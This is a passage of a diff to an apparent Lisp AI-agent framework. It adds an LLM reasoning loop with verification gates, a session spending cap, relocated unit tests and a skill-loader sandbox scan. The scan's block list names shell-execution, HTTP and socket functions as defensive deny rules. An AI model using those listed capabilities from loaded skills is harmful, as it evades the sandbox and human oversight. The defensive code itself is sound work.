+                                    time-section config-section
+                                    assistant-name identity-content reflection-feedback
+                                    (if standing-mandates-text
+                                        (concatenate 'string (string #\Newline) standing-mandates-text)
+                                        "")
+                                    tool-belt (or global-context "") system-logs))))
+    (values system-prompt raw-prompt reply-stream)))
+
+(defun think-call-llm (raw-prompt system-prompt reply-stream context)
+  "Phase 4 of the metabolic cycle: call the LLM via streaming or batch cascade.
+Returns the raw LLM response (string or plist with :tool-calls)."
+  ;; v0.5.0 deferred: budget enforcement — refuse calls when cap is exhausted
+  (when (and (fboundp 'budget-exhausted-p) (budget-exhausted-p))
+    (return-from think-call-llm (budget-exhaustion-message)))
+  (if (and reply-stream (fboundp 'cascade-stream))
+      (let ((acc (make-string-output-stream)))
+        (funcall 'cascade-stream raw-prompt system-prompt
+                 (lambda (delta)
+                   (when reply-stream
+                     (format reply-stream "~a"
+                             (frame-message (list :type :stream-chunk
+                                                  :payload (list :text delta))))
+                     (finish-output reply-stream))
+                   (write-string delta acc)))
+        (get-output-stream-string acc))
+      (backend-cascade-call raw-prompt
+                            :system-prompt system-prompt
+                            :context context)))
+
+(defun think-parse-response (thought)
+  "Phases 5-7 of the metabolic cycle: cost tracking + response parsing.
+Returns an action plist ready for cognitive-verify."
+  (let ((tool-calls (and (listp thought) (getf thought :tool-calls))))
+    (when (and (fboundp 'cost-track-backend-call)
+               (stringp thought)
+               (or (null tool-calls)))
+      (ignore-errors
+        (cost-track-backend-call (first *provider-cascade*)
+                                 thought)))
+    (if tool-calls
+        (let* ((first-call (car tool-calls))
+               (tool-name (getf first-call :name))
+               (args (getf first-call :arguments))
+               (args-plist (json-alist-to-plist args)))
+          (list :TYPE :REQUEST
+                :PAYLOAD (list* :TOOL tool-name
+                                :ARGS args-plist
+                                :EXPLANATION "Generated by function-calling engine.")))
+        (let* ((cleaned (if (and (listp thought) (getf thought :type))
+                           (format nil "~a" (getf (getf thought :payload) :text))
+                           (markdown-strip thought))))
+          (if (and cleaned (stringp cleaned) (> (length cleaned) 0)
+                   (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
+              (handler-case
+                  (let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
+                    (if (listp parsed)
+                        (let ((normalized (plist-keywords-normalize parsed)))
+                          (let ((payload (proto-get normalized :payload)))
+                            (if (and payload (proto-get payload :explanation))
+                                normalized
+                                (let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
+                                                          (if (listp payload) payload nil))))
+                                  (list* :PAYLOAD new-payload
+                                         (loop for (k v) on normalized by #'cddr
+                                               unless (eq k :PAYLOAD)
+                                               collect k collect v))))))
+                        (list :TYPE :REQUEST :PAYLOAD
+                              (list :ACTION :MESSAGE :TEXT cleaned
+                                    :EXPLANATION "Generated by the Probabilistic engine."))))
+                (error ()
+                  (list :TYPE :REQUEST :PAYLOAD
+                        (list :ACTION :MESSAGE :TEXT cleaned
+                              :EXPLANATION "Generated by the Probabilistic engine."))))
+              (list :TYPE :REQUEST :PAYLOAD
+                    (list :ACTION :MESSAGE
+                          :TEXT (if (stringp cleaned) cleaned "No response")
+                          :EXPLANATION "Generated by the Probabilistic engine.")))))))
+
+(defun think (context)
+  "The probabilistic reasoning engine — orchestrates prompt assembly, LLM call,
+and response parsing into an action plist for cognitive-verify."
+  (when (fboundp 'snapshot-memory)
+    (snapshot-memory))
+  (multiple-value-bind (system-prompt raw-prompt reply-stream)
+      (think-assemble-prompt context)
+    (let ((thought (think-call-llm raw-prompt system-prompt reply-stream context)))
+      (think-parse-response thought))))
+
+(defun json-alist-to-plist (alist)
+  "Convert a JSON alist to a keyword-prefixed plist."
+  (when (listp alist)
+    (loop for (key . value) in alist
+          append (list (intern (string-upcase (string key)) :keyword)
+                       (if (listp value)
+                           (if (consp (car value))
+                               (json-alist-to-plist value)
+                               value)
+                           value)))))
+
+(defun cognitive-verify (proposed-action context)
+  "Runs all registered deterministic gates against the proposed action,
+sorted by priority (highest first). Returns a rejection plist or the action."
+  (let ((current-action (copy-tree proposed-action))
+        (approval-needed nil)
+        (approval-action nil)
+        (gates nil)
+        (gate-trace nil))
+    ;; Collect gates sorted by priority (highest first)
+    (maphash (lambda (name skill)
+               (declare (ignore name))
+               (when (skill-deterministic-fn skill)
+                 (push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
+             *skill-registry*)
+    (setf gates (sort gates #'> :key #'car))
+    (dolist (gate-entry gates)
+      (let* ((gate-name (cadr gate-entry))
+             (result (funcall (cddr gate-entry) current-action context)))
+        (cond
+          ((eq (getf result :level) :approval-required)
+           (push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
+           (setf approval-needed t
+                 approval-action (getf (getf result :payload) :action)))
+           ((member (getf result :type) '(:LOG :EVENT))
+            (push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
+            (let ((blocked-result (copy-list result)))
+              (setf (getf blocked-result :gate-trace) (nreverse gate-trace))
+              (return-from cognitive-verify blocked-result)))
+          ((and (listp result) result)
+           (push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
+           (setf current-action result)))))
+    (if approval-needed
+        (list :type :EVENT :level :approval-required
+              :gate-trace (nreverse gate-trace)
+              :payload (list :sensor :approval-required
+                             :action approval-action))
+        (let ((passed-result (copy-tree current-action)))
+          (setf (getf passed-result :gate-trace) (nreverse gate-trace))
+          passed-result))))
+
+(defun loop-gate-reason (signal)
+  (let* ((type (proto-get signal :type))
+         (payload (proto-get signal :payload))
+         (sensor (proto-get payload :sensor)))
+    (unless (and (eq type :EVENT) (member sensor '(:user-input :chat-message)))
+      (return-from loop-gate-reason signal))
+    (let ((retries 3)
+          (current-signal (copy-tree signal))
+          (last-rejection nil))
+      (loop
+        (when (<= retries 0)
+          (setf (getf signal :approved-action) last-rejection)
+          (setf (getf signal :status) :reasoned)
+          (return signal))
+        (when last-rejection
+          (setf (getf (getf current-signal :payload) :rejection-trace) last-rejection))
+        (let ((candidate (think current-signal)))
+           (if (and candidate (listp candidate))
+               (let ((verified (cognitive-verify candidate current-signal)))
+                 ;; Approval-required is not a rejection — pass to act for Flight Plan
+                 (if (eq (getf verified :level) :approval-required)
+                     (progn
+                       (setf (getf signal :approved-action) verified)
+                       (setf (getf signal :status) :requires-approval)
+                       (return signal))
+                     ;; Hard rejection: retry with feedback
+                     (if (member (getf verified :type) '(:LOG :EVENT))
+                         (progn (decf retries) (setf last-rejection verified))
+                         (progn
+                           (setf (getf signal :approved-action) verified)
+                           (setf (getf signal :status) :reasoned)
+                           (return signal)))))
+              (progn
+                (setf (getf signal :approved-action) nil)
+                (setf (getf signal :status) :reasoned)
+                (return signal))))))))
+
+(defun reason-gate (signal)
+  (loop-gate-reason signal))

lisp/core-skills.lisp

@@ -1,3 +1,38 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-boot-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:boot-suite))
+
+(in-package :passepartout-boot-tests)
+
+(def-suite boot-suite :description "Verification of the Skill Engine loader")
+(in-suite boot-suite)
+
+(test test-topological-sort-basic
+  "Contract 2: dependency ordering puts dependencies before dependents."
+  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
+    (uiop:ensure-all-directories-exist (list tmp-dir))
+    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out "#+DEPENDS_ON: skill-b-id~%"))
+    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
+      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
+    (unwind-protect
+         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
+           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
+                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
+             (is (< pos-b pos-a))))
+       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
+
+(test test-lisp-syntax-validate-valid
+  "Contract 1: valid Lisp code passes syntax validation."
+  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
+
+(test test-lisp-syntax-validate-invalid
+  "Contract 1: unbalanced Lisp code fails syntax validation."
+  (is (null (lisp-syntax-validate "(+ 1 2"))))
+
 (in-package :passepartout)
 
 (defvar *VAULT-MEMORY* (make-hash-table :test 'equal))
@@ -15,8 +50,6 @@
 
 (defstruct skill name priority dependencies trigger-fn probabilistic-prompt deterministic-fn)
 
-(defvar *skill-registry* (make-hash-table :test 'equal))
-
 (defvar *skill-catalog* (make-hash-table :test 'equal)
   "Tracks all discovered skill files and their loading state.")
 
@@ -205,6 +238,14 @@ declarations so embedded test code evaluates in the correct package."
               (progn
                 (multiple-value-bind (valid-p err) (lisp-syntax-validate lisp-code)
                   (unless valid-p (error err)))
+                ;; Pre-eval sandbox scan: block before any code executes
+                (multiple-value-bind (blocked-p blocked-syms)
+                    (skill-source-scan lisp-code)
+                  (when blocked-p
+                    (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                                 skill-base-name blocked-syms)
+                    (setf (skill-entry-status entry) :sandbox-blocked)
+                    (return-from load-skill-from-org nil)))
                 (unless (find-package pkg-name)
                   (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
                 (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -233,6 +274,24 @@ declarations so embedded test code evaluates in the correct package."
         (log-message "LOADER ERROR in skill '~a': ~a" skill-base-name c)
         (setf (skill-entry-status entry) :failed) nil))))
 
+(defvar *skill-restricted-symbols*
+  '("uiop:run-program" "uiop:shell" "uiop:run-shell-command"
+    "bt:make-thread" "bordeaux-threads:make-thread"
+    "dex:get" "dex:post" "dexador:get" "dexador:post"
+    "usocket:socket-connect" "usocket:socket-listen"
+    "hunchentoot:start" "hunchentoot:accept-connections")
+  "Symbol patterns blocked from skill source code at load time.")
+
+(defun skill-source-scan (code-string)
+  "Scans CODE-STRING for restricted symbol references.
+Returns (values blocked-p matched-symbols)."
+  (let ((lower (string-downcase code-string))
+        (matches nil))
+    (dolist (pattern *skill-restricted-symbols*)
+      (when (search pattern lower)
+        (push pattern matches)))
+    (values (and matches t) (nreverse matches))))
+
 (defun load-skill-from-lisp (filepath)
   "Loads a .lisp skill file directly, filtering out in-package forms."
   (let* ((skill-base-name (pathname-name filepath))
@@ -243,6 +302,14 @@ declarations so embedded test code evaluates in the correct package."
                (pkg-name (intern (string-upcase (format nil "PASSEPARTOUT.SKILLS.~a" skill-base-name)) :keyword)))
           (multiple-value-bind (valid-p err) (lisp-syntax-validate content)
             (unless valid-p (error err)))
+          ;; Pre-eval sandbox scan: block before any code executes
+          (multiple-value-bind (blocked-p blocked-syms)
+              (skill-source-scan content)
+            (when blocked-p
+              (log-message "LOADER SANDBOX: Skill '~a' blocked before eval — references restricted symbol(s): ~{~a~^, ~}"
+                           skill-base-name blocked-syms)
+              (setf (skill-entry-status entry) :sandbox-blocked)
+              (return-from load-skill-from-lisp nil)))
           (unless (find-package pkg-name)
             (let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :passepartout new-pkg)))
           (let ((*read-eval* nil) (*package* (find-package pkg-name)))
@@ -300,38 +367,3 @@ declarations so embedded test code evaluates in the correct package."
             (load-skill-from-lisp file)
             (load-skill-from-org file)))
       (log-message "LOADER: Boot Complete."))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-boot-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:boot-suite))
-
-(in-package :passepartout-boot-tests)
-
-(def-suite boot-suite :description "Verification of the Skill Engine loader")
-(in-suite boot-suite)
-
-(test test-topological-sort-basic
-  "Contract 2: dependency ordering puts dependencies before dependents."
-  (let ((tmp-dir "/tmp/passepartout-boot-test/"))
-    (uiop:ensure-all-directories-exist (list tmp-dir))
-    (with-open-file (out (merge-pathnames "org-skill-a.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out "#+DEPENDS_ON: skill-b-id~%"))
-    (with-open-file (out (merge-pathnames "org-skill-b.org" tmp-dir) :direction :output :if-exists :supersede)
-      (format out ":PROPERTIES:~%:ID: skill-b-id~%:END:~%"))
-    (unwind-protect
-         (let ((sorted (passepartout::skill-topological-sort tmp-dir)))
-           (let ((pos-a (position "org-skill-a" sorted :key #'pathname-name :test #'string-equal))
-                 (pos-b (position "org-skill-b" sorted :key #'pathname-name :test #'string-equal)))
-             (is (< pos-b pos-a))))
-       (uiop:delete-directory-tree (uiop:ensure-directory-pathname tmp-dir) :validate t))))
-
-(test test-lisp-syntax-validate-valid
-  "Contract 1: valid Lisp code passes syntax validation."
-  (is (eq t (lisp-syntax-validate "(+ 1 2)"))))
-
-(test test-lisp-syntax-validate-invalid
-  "Contract 1: unbalanced Lisp code fails syntax validation."
-  (is (null (lisp-syntax-validate "(+ 1 2"))))

lisp/core-transport.lisp

@@ -1,3 +1,46 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-communication-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:communication-protocol-suite))
+(in-package :passepartout-communication-tests)
+
+(def-suite communication-protocol-suite :description "Communication Protocol Suite")
+(in-suite communication-protocol-suite)
+
+(test test-framing
+  "Contract 1: frame-message produces correct hex length prefix."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
+         (framed (frame-message msg)))
+    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
+
+(test test-framing-round-trip
+  "Contract 3: frame → read-frame preserves message identity."
+  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
+         (framed (frame-message msg))
+         (unframed (read-framed-message (make-string-input-stream framed))))
+    (is (equal msg unframed))))
+
+(test test-framing-empty-message
+  "Contract 1: simple messages frame with valid hex length."
+  (let* ((msg '(:type :ping))
+         (framed (frame-message msg)))
+    (is (> (length framed) 5))
+    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
+
+(test test-read-framed-message
+  "Contract 2: read-framed-message decodes a framed message correctly."
+  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
+         (framed (frame-message original))
+         (decoded (read-framed-message (make-string-input-stream framed))))
+    (is (equal original decoded))))
+
+(test test-read-framed-message-eof
+  "Contract 2: read-framed-message returns :eof on incomplete stream."
+  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
+    (is (eq :eof decoded))))
+
 (in-package :passepartout)
 
 (defun proto-get (plist key)
@@ -40,7 +83,9 @@
     (handler-case
         (progn
           (loop for char = (peek-char nil stream nil :eof)
-                while (and (not (eq char :eof)) (member char '(#\Space #\Newline #\Tab #\Return)))
+                for ws-count from 0
+                while (and (not (eq char :eof)) (< ws-count 4096)
+                           (member char '(#\Space #\Newline #\Tab #\Return)))
                 do (read-char stream))
           (let ((count (read-sequence length-buffer stream)))
             (if (< count 6)
@@ -116,46 +161,3 @@
 (defun validate-communication-protocol-schema (msg)
   "Backward-compatibility alias for protocol-schema-validate."
   (protocol-schema-validate msg))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-communication-tests
-  (:use :cl :fiveam :passepartout)
-  (:export #:communication-protocol-suite))
-(in-package :passepartout-communication-tests)
-
-(def-suite communication-protocol-suite :description "Communication Protocol Suite")
-(in-suite communication-protocol-suite)
-
-(test test-framing
-  "Contract 1: frame-message produces correct hex length prefix."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake)))
-         (framed (frame-message msg)))
-    (is (string= "00002C" (string-upcase (subseq framed 0 6))))))
-
-(test test-framing-round-trip
-  "Contract 3: frame → read-frame preserves message identity."
-  (let* ((msg '(:type :EVENT :payload (:action :handshake :version "1.0") :meta (:source :tui)))
-         (framed (frame-message msg))
-         (unframed (read-framed-message (make-string-input-stream framed))))
-    (is (equal msg unframed))))
-
-(test test-framing-empty-message
-  "Contract 1: simple messages frame with valid hex length."
-  (let* ((msg '(:type :ping))
-         (framed (frame-message msg)))
-    (is (> (length framed) 5))
-    (is (every (lambda (c) (digit-char-p c 16)) (subseq framed 0 6)))))
-
-(test test-read-framed-message
-  "Contract 2: read-framed-message decodes a framed message correctly."
-  (let* ((original '(:type :EVENT :payload (:text "decoded" :id 42)))
-         (framed (frame-message original))
-         (decoded (read-framed-message (make-string-input-stream framed))))
-    (is (equal original decoded))))
-
-(test test-read-framed-message-eof
-  "Contract 2: read-framed-message returns :eof on incomplete stream."
-  (let ((decoded (read-framed-message (make-string-input-stream "000"))))
-    (is (eq :eof decoded))))

lisp/cost-tracker.lisp

@@ -1,3 +1,76 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-cost-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:cost-suite))
+
+(in-package :passepartout-cost-tests)
+
+(def-suite cost-suite :description "Cost tracking and budget management")
+(in-suite cost-suite)
+
+(test test-cost-track-call
+  "Contract 1: cost-track-call returns a positive number."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "hello world")))
+    (is (numberp cost))
+    (is (> cost 0.0))))
+
+(test test-cost-session-total-accumulates
+  "Contract 2: session total grows with multiple calls."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :deepseek "world")
+  (let ((total (cost-session-total)))
+    (is (> total 0.0))
+    (is (= 2 (cost-session-calls)))))
+
+(test test-cost-session-reset
+  "Contract 3: cost-session-reset zeroes the accumulator."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (is (> (cost-session-total) 0.0))
+  (cost-session-reset)
+  (is (= 0.0 (cost-session-total)))
+  (is (= 0 (cost-session-calls))))
+
+(test test-cost-format-budget-status
+  "Contract 4: format-budget-status returns a string."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello world")
+  (let ((status (cost-format-budget-status 100)))
+    (is (stringp status))
+    (is (search "$" status))))
+
+(test test-cost-by-provider
+  "Contract: cost-by-provider returns per-provider breakdown."
+  (cost-session-reset)
+  (cost-track-call :deepseek "a")
+  (cost-track-call :groq "b")
+  (let ((by (cost-by-provider)))
+    (is (listp by))
+    (is (assoc :deepseek by))
+    (is (assoc :groq by))))
+
+(test test-cost-track-no-response
+  "Contract 1: cost-track-call works without response-text."
+  (cost-session-reset)
+  (let ((cost (cost-track-call :deepseek "test")))
+    (is (> cost 0.0))))
+
+(test test-cost-session-summary
+  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
+  (cost-session-reset)
+  (cost-track-call :deepseek "hello")
+  (cost-track-call :groq "world")
+  (let ((s (cost-session-summary)))
+    (is (> (getf s :total) 0.0))
+    (is (= 2 (getf s :calls)))
+    (let ((by (getf s :by-provider)))
+      (is (assoc :deepseek by))
+      (is (assoc :groq by)))))
+
 (in-package :passepartout)
 
 (defvar *session-cost* (list :total 0.0 :calls 0 :by-provider nil)
@@ -82,75 +155,36 @@ If DAILY-BUDGET is provided, includes percentage of budget used."
   "Track cost of a backend cascade call."
   (cost-track-call backend prompt-text response-text))
 
-(eval-when (:compile-toplevel :load-toplevel :execute)
+(defvar *session-budget*
-  (ql:quickload :fiveam :silent t))
+  (ignore-errors (read-from-string (uiop:getenv "SESSION_BUDGET_USD")))
+  "Maximum USD to spend in this session. NIL means no limit.")
 
-(defpackage :passepartout-cost-tests
+(defun budget-remaining-usd ()
-  (:use :cl :fiveam :passepartout)
+  "Returns remaining budget in USD, or a large sentinel if unlimited."
-  (:export #:cost-suite))
+  (if *session-budget*
+      (let ((remaining (- *session-budget* (cost-session-total))))
+        (if (< remaining 0) 0.0 remaining))
+      most-positive-double-float))
 
-(in-package :passepartout-cost-tests)
+(defun budget-exhausted-p ()
+  "T if the session budget is set and fully consumed."
+  (and *session-budget* (<= (budget-remaining-usd) 0.0)))
 
-(def-suite cost-suite :description "Cost tracking and budget management")
+(defun budget-estimate-call (prompt-text)
-(in-suite cost-suite)
+  "Estimate the dollar cost of a pending LLM call from its prompt text.
+Returns 0.0 if the tokenizer is not loaded (allows call through)."
+  (if (fboundp 'count-tokens)
+      (let* ((tokens (funcall (symbol-function 'count-tokens) (or prompt-text "")))
+             (cost (provider-token-cost (first *provider-cascade*) tokens)))
+        cost)
+      0.0))
 
-(test test-cost-track-call
+(defun budget-exhaustion-message ()
-  "Contract 1: cost-track-call returns a positive number."
+  "Returns a user-facing plist explaining that the budget is spent."
-  (cost-session-reset)
+  (let ((total (cost-session-total))
-  (let ((cost (cost-track-call :deepseek "hello world")))
+        (cap *session-budget*))
-    (is (numberp cost))
+    (list :TYPE :REQUEST
-    (is (> cost 0.0))))
+          :PAYLOAD (list :ACTION :MESSAGE
-
+                         :TEXT (format nil "Session budget exhausted: $~,4f of $~,2f spent. Raise SESSION_BUDGET_USD or reset with /cost-reset to continue."
-(test test-cost-session-total-accumulates
+                                       total cap)
-  "Contract 2: session total grows with multiple calls."
+                         :EXPLANATION "Budget cap reached. No LLM calls will be made until the limit is raised."))))
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :deepseek "world")
-  (let ((total (cost-session-total)))
-    (is (> total 0.0))
-    (is (= 2 (cost-session-calls)))))
-
-(test test-cost-session-reset
-  "Contract 3: cost-session-reset zeroes the accumulator."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (is (> (cost-session-total) 0.0))
-  (cost-session-reset)
-  (is (= 0.0 (cost-session-total)))
-  (is (= 0 (cost-session-calls))))
-
-(test test-cost-format-budget-status
-  "Contract 4: format-budget-status returns a string."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello world")
-  (let ((status (cost-format-budget-status 100)))
-    (is (stringp status))
-    (is (search "$" status))))
-
-(test test-cost-by-provider
-  "Contract: cost-by-provider returns per-provider breakdown."
-  (cost-session-reset)
-  (cost-track-call :deepseek "a")
-  (cost-track-call :groq "b")
-  (let ((by (cost-by-provider)))
-    (is (listp by))
-    (is (assoc :deepseek by))
-    (is (assoc :groq by))))
-
-(test test-cost-track-no-response
-  "Contract 1: cost-track-call works without response-text."
-  (cost-session-reset)
-  (let ((cost (cost-track-call :deepseek "test")))
-    (is (> cost 0.0))))
-
-(test test-cost-session-summary
-  "Contract 5: cost-session-summary returns plist with total, calls, by-provider."
-  (cost-session-reset)
-  (cost-track-call :deepseek "hello")
-  (cost-track-call :groq "world")
-  (let ((s (cost-session-summary)))
-    (is (> (getf s :total) 0.0))
-    (is (= 2 (getf s :calls)))
-    (let ((by (getf s :by-provider)))
-      (is (assoc :deepseek by))
-      (is (assoc :groq by)))))

lisp/neuro-provider.lisp

@@ -1,3 +1,59 @@
+(eval-when (:compile-toplevel :load-toplevel :execute)
+  (ql:quickload :fiveam :silent t))
+
+(defpackage :passepartout-llm-gateway-tests
+  (:use :cl :passepartout)
+  (:export #:llm-gateway-suite))
+
+(in-package :passepartout-llm-gateway-tests)
+
+(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
+(fiveam:in-suite llm-gateway-suite)
+
+(fiveam:test test-provider-rejects-bad-keyword
+  "Contract 3: provider-config returns nil for unregistered provider."
+  (let ((config (provider-config :not-a-real-provider)))
+    (fiveam:is (null config))))
+
+(fiveam:test test-provider-config-registered
+  "Contract 1: provider-config returns configuration plist for registered provider."
+  (let ((config (provider-config :openrouter)))
+    (fiveam:is (listp config))
+    (fiveam:is (getf config :base-url))))
+
+(fiveam:test test-provider-accepts-tools-parameter
+  "Contract 4: provider-openai-request accepts :tools parameter without error."
+  (let ((result (provider-openai-request "test" "system" :tools (list))))
+    (fiveam:is (member (getf result :status) '(:success :error)))))
+
+;; ── v0.7.1 Streaming ──
+
+(fiveam:test test-parse-sse-line-data
+  "Contract 6: parse-sse-line extracts content from data: lines."
+  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
+  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
+
+(fiveam:test test-parse-sse-line-done
+  "Contract 6: parse-sse-line returns :done for [DONE]."
+  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
+
+(fiveam:test test-parse-sse-line-nil
+  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
+  (fiveam:is (null (passepartout::parse-sse-line "")))
+  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
+  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
+
+(fiveam:test test-provider-openai-stream-calls-callback
+  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
+  (let ((collected '()))
+    (flet ((collector (text) (push text collected)))
+      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
+    (let* ((reversed (nreverse collected))
+           (last (car (last reversed))))
+      (fiveam:is (stringp last))
+      (fiveam:is (string= "" last))
+      (fiveam:is (>= (length reversed) 2)))))
+
 (in-package :passepartout)
 
 (defparameter *provider-configs*
@@ -242,59 +298,3 @@ Calls CALLBACK with each delta string, then with '' to signal end-of-stream."
             (list :status :success))
         (error (c)
           (list :status :error :message (format nil "~a Stream Failure: ~a" provider c)))))))
-
-(eval-when (:compile-toplevel :load-toplevel :execute)
-  (ql:quickload :fiveam :silent t))
-
-(defpackage :passepartout-llm-gateway-tests
-  (:use :cl :passepartout)
-  (:export #:llm-gateway-suite))
-
-(in-package :passepartout-llm-gateway-tests)
-
-(fiveam:def-suite llm-gateway-suite :description "Tests for the LLM provider backend")
-(fiveam:in-suite llm-gateway-suite)
-
-(fiveam:test test-provider-rejects-bad-keyword
-  "Contract 3: provider-config returns nil for unregistered provider."
-  (let ((config (provider-config :not-a-real-provider)))
-    (fiveam:is (null config))))
-
-(fiveam:test test-provider-config-registered
-  "Contract 1: provider-config returns configuration plist for registered provider."
-  (let ((config (provider-config :openrouter)))
-    (fiveam:is (listp config))
-    (fiveam:is (getf config :base-url))))
-
-(fiveam:test test-provider-accepts-tools-parameter
-  "Contract 4: provider-openai-request accepts :tools parameter without error."
-  (let ((result (provider-openai-request "test" "system" :tools (list))))
-    (fiveam:is (member (getf result :status) '(:success :error)))))
-
-;; ── v0.7.1 Streaming ──
-
-(fiveam:test test-parse-sse-line-data
-  "Contract 6: parse-sse-line extracts content from data: lines."
-  (fiveam:is (string= "hello world" (passepartout::parse-sse-line "data: hello world")))
-  (fiveam:is (string= "{\"a\":1}" (passepartout::parse-sse-line "data: {\"a\":1}"))))
-
-(fiveam:test test-parse-sse-line-done
-  "Contract 6: parse-sse-line returns :done for [DONE]."
-  (fiveam:is (eq :done (passepartout::parse-sse-line "data: [DONE]"))))
-
-(fiveam:test test-parse-sse-line-nil
-  "Contract 6: parse-sse-line returns nil for comment, empty, non-data lines."
-  (fiveam:is (null (passepartout::parse-sse-line "")))
-  (fiveam:is (null (passepartout::parse-sse-line ":ok")))
-  (fiveam:is (null (passepartout::parse-sse-line "event: ping"))))
-
-(fiveam:test test-provider-openai-stream-calls-callback
-  "Contract 5: provider-openai-stream calls callback with deltas and final empty string."
-  (let ((collected '()))
-    (flet ((collector (text) (push text collected)))
-      (passepartout::provider-openai-stream "hi" "sys" #'collector :provider :openrouter))
-    (let* ((reversed (nreverse collected))
-           (last (car (last reversed))))
-      (fiveam:is (stringp last))
-      (fiveam:is (string= "" last))
-      (fiveam:is (>= (length reversed) 2)))))

lisp/programming-lisp.lisp

@@ -1,3 +1,91 @@
+(defpackage :passepartout-utils-lisp-tests
+  (:use :cl :fiveam :passepartout)
+  (:export #:utils-lisp-suite))
+
+(in-package :passepartout-utils-lisp-tests)
+
+(def-suite utils-lisp-suite
+  :description "Tests for the Lisp Validator structural, syntactic, and semantic gates")
+
+(in-suite utils-lisp-suite)
+
+(test structural-balanced
+  "Contract 1: balanced code returns T."
+  (is (eq t (passepartout:lisp-structural-check "(+ 1 2)"))))
+
+(test structural-unbalanced-open
+  "Contract 1: missing close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test structural-unbalanced-close
+  "Contract 1: extra close paren returns nil + error."
+  (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)")
+    (is (null ok))
+    (is (search "Reader Error" reason))))
+
+(test syntactic-valid
+  "Contract 2: valid syntax passes syntactic check."
+  (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)"))))
+
+(test semantic-safe
+  "Contract 3: safe code passes semantic check."
+  (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)"))))
+
+(test semantic-blocked-eval
+  "Contract 3: eval forms are blocked by semantic check."
+  (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))")
+    (is (null ok))
+    (is (search "Unsafe" reason))))
+
+(test unified-success
+  "Contract 4: valid code returns :success via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t)))
+    (is (eq (getf result :status) :success))))
+
+(test unified-failure
+  "Contract 4: invalid code returns :error via lisp-validate."
+  (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil)))
+    (is (eq (getf result :status) :error))))
+
+(test eval-basic
+  "Contract 5: lisp-eval returns :success with captured result."
+  (let ((result (passepartout:lisp-eval "(+ 1 2)")))
+    (is (eq (getf result :status) :success))
+    (is (string= (getf result :result) "3"))))
+
+(test structural-extract
+  "Contract 6: lisp-extract finds and returns a named function."
+  (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))")
+         (extracted (passepartout:lisp-extract code "hello")))
